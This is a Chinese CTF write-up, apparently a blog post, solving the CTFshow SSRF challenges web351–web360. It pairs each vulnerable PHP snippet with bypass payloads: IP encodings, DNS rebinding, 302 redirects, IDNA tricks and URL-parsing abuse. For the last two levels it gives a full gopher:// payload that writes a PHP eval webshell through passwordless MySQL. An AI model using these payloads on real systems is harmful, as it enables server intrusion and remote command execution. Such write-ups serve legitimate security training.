SSRF-CTFshow

前言:

关于互联网协议的一些认识:
互联网协议1
互联网协议2

CTFshow

对SSRF,比较重要的就是先尝试每一个协议是否可以使用。

web351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化一个curl的会话
curl_setopt($ch, CURLOPT_HEADER, 0);//对会话进行设置参数
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);//将会话发给浏览器
curl_close($ch);//关闭会话
echo ($result);
?> 

代码审计,发现就是特别普通的curl语句,没有任何过滤,我们使用file协议来读取本地文件
所以我们可以使用file://来读取flag.php文件
payload

POST:url=file:///var/www/html/flag.php(一般的路径是这个)
还有个:
    url=http://127.0.0.1/flag.php(使用http://协议访问本地文件,类似于我们自己在本地搭建网站)

nginx配置路径:/etc/nginx/ngin.conf,用file可以访问

web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

parse_url:

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
例子:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?>
输出:
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

这个题需要满足传输协议为http,https,但是ip地址不能为127.0.0.1

有许多绕过方式
进制转换

1.进制转换
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
2.特殊模式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
3.0.0.0.0绕过
url=http://0.0.0.0/flag.php
4.用CIDR绕过localhost
url=http://127.127.127.127/flag.php
5.短标签绕过,好像不行
ipv6绕过[::1],这题也不行。
使用句号绕过:url=http://127。0。0。1/flag.php,也不行
DNS重绑定

web353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

同上,但是有一些payload不能用

web354

代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

我们可以使用a记录的方式,就是我们127.0.0.1设为我们的域名A记录,然后通过访问我们的域名,就可以直接访问到域名A记录所指向的服务器IP地址。
url=http://sudo.cc/flag.php

A记录的定义:
		A记录全称Address记录,又称IP指向,是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置二级域名,从而实现通过域名找到服务器找到相应网页的功能。
		通俗的说A记录就是域名绑定到服务器的IP,A记录就是告诉DNS,当你输入域名的时候,通过在DNS的A记录引导你到所对应的服务器。 

但是预期解是利用脚本用unicode替换localhost的字符。

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

比如用a左边的字符去替换a最终就是locⒶhlhost

IDNA(Internationalizing Domain Names in Applications)应用程序国际化域名 ​
IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非
ASCII码字符以允许使用的ASCII字符表示。

web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

因为设置$host<=5的限制,我们只需要构造一个host的长度<=5
payload

url=http://0/flag.php
url=http://127.1/flag.php

web356

$host小于3
payload:

url=http://0/flag.php

web357

代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//返回域名对应的ip地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

其中的filter_var语句:官方文档

使用特定的过滤器过滤一个变量
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
参数;
value:要过滤的内容。注意:标量值在过滤前,会被转换成字符串。
filter:The ID of the filter to apply. The Types of filters manual page lists the available filters.
If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default.

options
一个选项的关联数组,或者按位区分的标示。如果过滤器接受选项,可以通过数组的 "flags" 下标去提供这些标示。 对于回调型的过滤器,应该传入 callable。 这个回调函数必须接受一个参数(即待过滤的值),并且返回一个在过滤/净化后的值。

返回值:返回过滤后的数据,如果过滤失败则返回 false 

题意的:

FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。

Name: "validate_ip"
ID-number: 275

可能的标志:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

要求需要用私域IP,我们可以使用302跳转

<?php
header("Location:http://127.0.0.1/flag.php"); 

然后访问http://xxx.xxx.xxx.xxx/xxx.php就可以了。

还有第二种方法,利用DNS重绑定
可以用到那种,限定某种ip地址,但是你需要访问其他ip地址,就可以使用。
本题,限制是私域IP地址,但是你需要访问127.0.0.1,所以就可以使用DNS重绑定。

https://zhuanlan.zhihu.com/p/89426041
https://superxiaoxiong.github.io/2018/01/23/dns-rebinding/

在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,然后绑定127.0.0.1
payload:

url=http://r.xxxx.ceye.io/flag.php

web358

代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

审计代码,需要我们输入url前缀为http://ctf.,后缀为show
我们可以使用@来过滤

url=http://ctf.@127.0.0.1/flag.php#1=show
解释:http://1.1.1.1@127.0.0.1 ==>http://127.0.0.1#或者?把后缀show过滤了。

web359

web359是打无密码的mysql,我们可以使用万能的SSRF工具:https://github.com/tarunkant/Gopherus

直接命令行运行,我们写shell
在这里插入图片描述
得到

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01

但是curl会默认解码一次,把gopher://127.0.0.1:3306/_再urlencode一次,得到

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

最后输入密码,该returl值,然后shell写进去了
访问url/1.php,任意命令执行。

web360

步骤和上面的差不多
先用gopherus生成<?php eval($_POST[1]);?>
然后传入shell,默认生成shell.php
访问shell.php,任意命令执行。

参考文献

羽师傅
feng师傅
Y4爷

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值